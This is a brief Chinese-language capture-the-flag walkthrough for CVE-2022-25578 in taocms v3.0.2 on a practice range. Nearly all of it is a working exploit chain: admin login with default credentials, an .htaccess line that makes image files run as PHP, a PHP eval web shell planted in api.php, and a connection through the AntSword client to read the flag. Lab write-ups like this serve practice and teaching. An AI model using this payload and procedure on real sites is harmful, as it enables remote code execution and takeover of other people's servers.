CVE-2022-25578 WP

taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码打开靶场然后/admin 我这边登录过了 用户名的话admin 密码tao 照猫画虎就可以点文件管理点./htaccess 然后把payload复制进去就可以不要自己手巧容易错误 AddType application/x-httpd-php .jpg .png 然后保存点api.php上马进去 GIF89a?php eval($_POST[cmd]);?点保存/api.php验证一下出来GIF89a就可以上蚁剑点Test connection 发绿就可以点add然后点右键点那个file manager哪里点有/ 去到根目录flag就躺在哪里等你填进去就可以 或者你也是可以这样用命令点terminalcd ../../../cat flag flag就出来了